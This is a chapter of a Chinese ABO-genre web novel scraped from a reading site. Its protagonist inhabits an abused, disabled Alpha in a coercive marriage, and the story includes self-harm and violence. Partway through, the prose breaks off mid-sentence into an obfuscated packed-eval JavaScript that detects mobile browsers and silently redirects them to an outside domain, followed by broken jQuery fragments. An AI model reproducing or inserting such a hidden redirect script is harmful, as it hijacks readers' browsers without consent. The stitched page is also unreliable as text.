默认冷灰
24号文字
方正启体

2. 一号

作者:我送你一枚月亮本书字数:K更新时间:
    沈不弃摘下耳机,缓缓站起身。


    耳机线在苍白的耳廓上压出一道红痕,他走路很轻,几乎不发出声音,像是一具木偶被细丝忽然提起,衬衫松垮的衣摆随着动作微微晃动。


    牧川瘦得惊人,站起来这个事实就更明显,背后的蝴蝶骨在衬衫下凸起病态的嶙峋轮廓。


    微长的柔软发尾落在颈后,漆黑的颈环已经半旧,皮革边缘磨出细小的毛边,衬得皮肤苍白到像是张遗照。


    他一只手轻按着胃,那一块的衬衫布料轻微发皱,这是牧川的习惯性动作。


    牧川有轻度的进食障碍。


    当然,和医疗档案里几十页的矫正治疗记录、添了不少麻烦的癌细胞全身转移诊断相比,这种小毛病实在不值一提。


    他去拿那件旧风衣。


    系统突然惊醒,从摇摇椅里弹起来追上去:「你要去哪,要出门吗?」


    外面的天完全黑了,还在下着雨。


    牧川害怕下雨。


    豆大的雨点打在窗户上,玻璃上,呼啸的狂风肆虐,电闪雷鸣。


    雨越下越急,牧川的肋骨随着呼吸急促起伏,腕骨像是要刺破薄薄皮肤。


    他的脸在暗淡灯光下白到了透明的地步,嘴唇毫无血色,睫毛在颤,额前的碎发也在颤,被冷汗打湿的几绺碎发黏在太阳穴,深陷的锁骨湿漉。


    “啊,没关系的。”沈不弃回答的声音轻得像唱歌,弯了下眼睛,指尖抚了抚系统,像摸一只小兔子。


    他扯了几张纸巾,纸张摩擦抽纸盒的声音太响,惊动得手腕内侧的淡青血管像要透出皮肤。


    沈不弃耐心擦拭冷汗,太阳穴下的纤细血管突突跳动,那一小团纸巾拭过眼皮、额角、鼻翼,就已经湿透。


    “裴疏的状态不好……”沈不弃丢掉纸团,“他这样说话,应该是潮热期快要发作了。”


    毕竟,那是个很体面的场合。


    并不适合频繁地、不合时宜地没完没了提起家里见不得人的乡下Alpha。


    裴疏不会这么不得体,除非是潮热期突然来临,腺体失控——裴疏的潮热期十分混乱,这其实是八年婚姻酿成的恶果,毕竟这八年里,牧川事实上没有过任何一次真正的潮热期。


    尽管沈不弃饱含着愧疚努力配合,翻阅各类ABO资料苦心钻研演技,但讲道理。


    不行就是不行。


    演技是不能搞定一切的。


    裴疏在这种压抑里被硬生生憋出了病,潮热期变得毫无规律和预兆,每次发作都突兀、紊乱而汹涌。


    毫无回应的潮热期把裴疏变成绝望的困兽。


    他们在卧室的床上,裴疏死死攥着他的衣物,眼尾通红、剧烈喘气,他打开衣领,模仿这种急促的呼吸,贴近,谨慎地寻找角度,尽量不让裴疏揪掉他的头发。


    浓郁的、甜腻又冰冷的仿佛掺了消毒水的玫瑰蜜信息素像暴雨浇遍密闭的卧室。


    铺天盖地的黏稠暴雨,裴疏在他锁骨的凹窝里留下殷红指印。他被那只手钳住下颌,被迫抬头,迎上猩红的眼底,裴疏咬他的名字:“阿川……”


    “你看我,看我。”裴疏的嗓子哑得像毒蛇,额角狰狞暴起的青筋和血管也像,“你的嘴巴呢?”


    “哑了吗?不会用吗”裴疏重重砸开他手里的信息素针管,“咬我!”


    “我让你咬我!咬我啊!”


    裴疏忽然狠狠咬住自己的手腕,他被扯近,看着鲜血滴落在白衬衫上,很快在视野里洇开:“很难吗?!”


    裴疏在这个时候像个疯子,和平时那个彬彬有礼、优雅得体的贵公子没有任何相似之处。


    沈不弃为此十分抱歉。


    他充满歉疚地回拢住那具躯体,手臂虚悬,尽量靠近,轻轻碰到裴疏身上的昂贵衣料。


    裴疏绝望地撕咬手腕深可见骨的伤口,像是不知道疼,他掐着Alpha配合温驯的后颈,染血的手指强行撬开沈不弃的牙关。


    “你是Alpha!你连咬人都要我来教吗?!”


    血溅在沈不弃的薄薄的眼皮上。


    ……


    系统翻工作记录翻得有点不确定,暗地里打了个哆嗦,往纸巾盒子里藏了藏:「……要吗?」


    “啊。”沈不弃正在调试热水,手指在冒着白气的滚烫热水里很快泛红,他拿着那块雪白的毛巾,回答得轻快又温柔,“要的。”


    要的。


    牧川犯过错。


    进过监狱,接受了为期两个月的“行为矫正”。


    那两个月,他蜷在关在专门收容性侵Alpha暴力犯的牢房角落,抱着被狱友踩断的手,道歉、忏悔、发誓自己再也不敢了。


    他想知道裴疏的安危,每天都求监狱管教让自己联系裴疏——绝大部分时候这种乞求不被允许,仅有的三次,一次被粗暴挂断,两次只有一片忙音。


    他听说裴疏快被他害死了。


    他尝试自杀,因此被单独关了禁闭。他每天去教堂忏悔,自愿把荆棘泡进盐水,终于感到了一点解脱。


    他听神父说跪着替人抄写圣经就能换来洁净的圣水,于是天天这么做,每抄一章就攒下一小瓶圣水,再用这些水尽力把手和自己都洗干净。


    这样不停的清洁成为无法割掉的习惯,直到现在,只要裴疏不看住他,他每天还是必须用消毒水洗很多遍手。


    他绝不能再做那种事了——脏,罪恶,不可饶恕的。


    他再不敢了。


    他知道要改,改过自新,不再做只会发情的野兽。


    现在的牧川改好了,他规规矩矩,按照监狱里学的课程,跪在床边,屏着呼吸给痛苦得快死掉的裴疏做按摩、轻轻擦汗,注射提纯的信息素。


    “放,放心。”在说这种话的时候,他总是因为羞耻结巴得厉害,垂着眼睛,苍白的耳廓泛起潮红,“我消毒了。”


    这些信息素是劣等Alpha关怀中心帮他提取的。


    牧川的信息素浓度太弱,如果只靠腺体释放,就算榨干也根本不可能满足S级的Omega。


    所以中心会好心地帮助他们,只要在家里每天榨取腺液,交给上门回收的工作人员,中心就会免费帮他们提纯、压缩、凝练,密封做成针剂。


    “用针剂……针剂就可以了。”


    他磕磕绊绊背诵监狱里培训的教条,安抚濒临崩溃的裴疏,慢慢背诵每天都要念成千上万遍的话:“没有……不做就会死掉的事。好好呼吸,不会死的……只是信息素在欺骗你……”


    他的衣领被那些血迹斑斑的手指死死扯住,漂洗太多次的布料轻易撕裂,纽扣崩飞,在光滑如镜的昂贵地砖上弹跳几下,静止不动。


    他低头,迎上裴疏充血的眼睛,迟疑很久,忍着呕吐的冲动,迅速碰了一下对方的额头。


    干瘪的、尽力履行义务的触碰。


    嘴唇只是擦过头发就仓促撤离,仿佛已经没法压制生理性溢出的恶心。


    牧川抿紧嘴唇吞咽。


    “非、非要这样吗?”他小心地劝诫裴疏,“我们可以更干净……”


    裴疏的脸不知为何扭曲了一瞬。


    那个表情不是牧川看得懂的。


    下一秒,血红的双眼猝然逼近,裴疏像条疯了的毒蛇,手指猛地探向他鼻梁上的眼镜,他连忙侧过头避开,也立刻毫不犹豫地重重推开怀里的裴疏,自证般地举起双手。


    动作快得只能看见余光里裴疏脸上凝固的荒诞错愕。


    ……


    这是他们上一次潮热期发生的所有事。


    系统谨慎追问:「后、后来呢?」


    就没了?


    “啊,我推得太用力了。”沈不弃回想了一下,“他掉下床的时候,我听见了‘咔’的一声。”


    系统:「……」


    “尾椎骨骨裂,我们连夜去医院了。”


    “他的队医骂了我半个小时。”


    毕竟第二天就是《星际帝国·征服》的全球直播总决赛,裴疏黑着脸,咬着止痛胶,扎着马步打完了整整五局。


    系统:「…………」


    唉。


    沈不弃很歉疚地擦拭眼镜。


    这是仅剩的、属于牧川大学时代的遗物,很廉价的眼镜。


    镜框很旧了,一边的镜腿自己重新焊接过,焊点处理得十分平整,金属镜框的边缘已经磨得暗淡,镜片却还是被擦拭得一尘不染。


    裴疏给他买过很多新眼镜,价格不菲,想要换掉这“丑到该死的旧东西”。


    所以他只在裴疏看不到的时候偷偷戴。


    沈不弃把眼镜戴好,牧川是很少真正用这双眼睛的,他几乎不敢正眼看人,额发凌乱地垂在镜框边缘,遮住大部分眉眼,右手又缩回怀里。


    他也吃了些苦头,他的右手在那两个月里留下无法治愈的残疾。


    无名指和小指无法伸直,疤痕贯穿掌心,握力不足过去的百分之十。


    所以能把裴疏从床上推下去是真的很英勇。


    “你看。”沈不弃打开隐藏相册,给系统分享,“我本来学的是机械维修专业,这个行当不要四级以上的残疾……”


    牧川是福利院里唯一考进了帝国学院的孤儿,他心急,拼命学,十六岁就考上了,读机甲维修专业。


    在他们这些乡下Alpha眼里,机甲维修就是最梦寐以求的出路,听说只要肯吃苦,往死里干,就能有大把的钱。


    不过现在也有大把的钱。


    沈不弃对着镜子,安慰地摸摸这颗转不过弯的脑袋。


    他轻声哼着在福利院里听的《小枕头漂流记》,对着镜子,洗干净手,稍微拨开额发,露出一双浅茶色的眼睛。


    牧川的印象里自己长得不好看。


    普通里还要更不起眼的那个层次——裴疏总这么说他,掉进人堆里,一不小心就会立刻消失的透明货色。


    牧川觉得裴疏说得对,他的皮肤太苍白,人太瘦,喉结的弧度还是清浅得无法分辨,Alpha的二次发育在他身上好像只是随便走了个过场,宽展的肩膀、结实的肌肉、更具有侵略性的锋利轮廓……这些统统没有。


    二十五岁了,他穿着不合适的松垮衬衫,还像个没长开的学生。


    牧川几乎不怎么靠近镜子,镜子里的他太糟糕了,他不敢看,哪怕偶尔不小心瞥见,也会立刻匆匆移开视线,胸腔血肉里生长出古怪的刺痛。


    心跳砸得肋骨疼,仿佛他胆大包天到刺破禁忌,看了什么绝不该看的东西。


    ……现在沈不弃却在打扮。


    系统有点错愕地看着他摆弄发蜡。


    他的手指修长、苍白又灵活得不可思议,嘴里漫不经心哼着走调的“小枕头漂啊漂”,发蜡在指尖揉开,额发被轻松打理出蓬松层次,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653399|172843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他似乎只是用热毛巾烫了烫脸,气色就变好。


    沈不弃轻轻吹了下额发,镜子里的人起色奇迹般鲜活起来。


    他对着镜子调整领口,衬衫被松松解开两颗纽扣,露出同样仿佛长久不见天日的苍白锁骨。


    变化最大的是眼睛——迟疑地、水光流转的,微微动着的冰糖一样的浅茶色,系统猝不及防,摄像头直接撞上,数据离谱地乱成一团。


    系统:「???」


    闹鬼了。


    沈不弃用两根手指夹起那副裴疏买的、崭新的金丝眼镜,在灯下轻飘飘地一转,镜架就落在鼻梁上。


    他擦拭镜子上的水汽,慢条斯理,疤痕覆盖的手腕轻盈转动,不受疼痛牵扯限制,像是带着某种奇异的韵律。


    修长手指捏着一团纸巾,在那片朦胧的雾气里划出一道清晰明净的弧,擦去水珠,露出牧川的脸。


    沈不弃用纸巾点了点镜中人微微泛红的眼角。


    ……


    放在一旁的手机已经嗡了不短的时间。


    全是紧急消息,屏幕焦躁亮起又熄灭,未接来电和新消息提醒混成一团。


    全是裴疏的团队发来的。


    他的确很了解裴疏,会克制不住地当众说那种话,就是因为裴疏的潮热期又不定时意外发作,现在没人能奈何得了这位把自己反锁在房间里的电竞大神,整个团队焦头烂额,只能给最不受待见的废物Alpha打电话。


    手机又一次嗡鸣着震动,洗手池边缘沾了些水,手机震得转了一圈,眼看就要掉在地上,被一只手轻巧捞住。


    现在是裴疏给牧川规定的晚间小睡时间。


    还有三十秒他才可以醒。


    沈不弃靠着瓷砖,指尖灵巧摆弄,纸巾被折成漂亮精巧的勿忘我,褶皱的花瓣被细致捻平,送给系统。


    系统上一秒还在着急催他接电话,这一秒就有点局促,不好意思地搓着数据:「给,给我的啊……」


    红色警告框稀里糊涂变成粉色小泡泡。


    沈不弃笑了下,戴上一只耳机。


    “好……我知道了,嗯。”


    镜子里,清瘦的男人握着听筒,微微垂着头,单手在镜角那一点雾气里画小花,额发在金丝镜框上投落细碎阴影:“嗯。”


    他的手指漂亮,修长,骨节清晰,冷白埋着青色的血管,指端微微泛着薄红。


    手指无意识轻轻摩挲着水池边沿。


    “提纯信息素在家。”他的声音很轻柔,像在哄孩子,“我送过去。”


    对面还在喋喋不休地交代嘱咐。


    沈不弃耐心地答话,垂着眼睛,浅茶色的瞳孔在这个角度微微泛灰,和系统听他给狗血部员工开业务培训的时候语气一模一样:“我知道,我买最近一班的飞机。”


    “我会打车,我知道要付给司机钱,是的,下雨要打伞。”


    那边还在说,沈不弃把话筒开了静音,放在一边,继续用热毛巾敷脸,让青灰的嘴唇上稍微多出些血色。


    他瘦得太厉害了,还好这张脸并没脱相。


    介于少年和青年之间的面容,眉宇清俊,浅瞳像水,垂下睫毛时轮廓柔和得像是被时光搁浅在了某个片段。


    但其实没人会认错,那些缱绻的、倦怠安静的苍白,像旧照片,被翻出毛边的书,不属于相信未来世界无限大的少年人。


    他捞起那件半旧的大衣,套在身上,指尖透出袖管,消瘦过头的身体被厚重的呢子布料塑出人形。


    系统在帮他打车。


    今夜的雨太大了,裴疏的这幢别墅又太偏僻,不论怎么提高价格,都找不到愿意接单的司机。


    系统有点着急:「怎么办,要再给裴疏打电话吗?」


    “啊,还有三个小时呢。”


    沈不弃靠在玄关暗淡的灯光下,手机在他手里轻轻转了个圈,挟着雨气的夜风从门缝渗入,吹得碎发轻动,露出微微弯着的眼睛:“不用。”


    他了看时间:“来得及。”


    时间很充裕。


    他打开通讯录,找到备注“一号”的联系人——裴临崖。


    和裴疏斗得不死不休的同父异母兄长,Beta矫正督导官,亲手把当时已经躯体化到无法进食的牧川从监狱里捞出来的人。


    提前中止了牧川刑期的人。


    秘密帮牧川给福利院寄钱、寄信、伪造照片,编出一个“阿川哥哥在帝都出人头地挣大钱”的美好童话的人。


    那些合成的假照片牧川好喜欢,他穿着沾满机油的工服、穿着笔挺合身的定制衬衫,已经高挑俊朗,好好地长大了,在阳光下的摩天大楼前。


    变得窗明几净的福利院贴满了他的照片,孤儿们争相模仿他的姿势,都拿他当梦寐以求的榜样。


    裴临崖帮他保密。


    他付出的代价只是在裴疏封闭集训的时候,偶尔陪着裴临崖聊一聊天。


    “裴大哥是好人,他能帮我。”


    沈不弃轻声说,柔和嗓音融进呼啸的风声和淅淅沥沥的雨里。


    他随口哼着走调的旧儿歌。


    机票和裴疏的情况被截图发过去。


    系统愣了愣,手机的冷光打在垂落的睫毛上,微弯的浅茶色瞳孔里,很快跳出回信:地址发我,二十分钟。


    沈不弃给自己配了个BGM:“他说过,只要我有急事帮忙,就可以找他的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)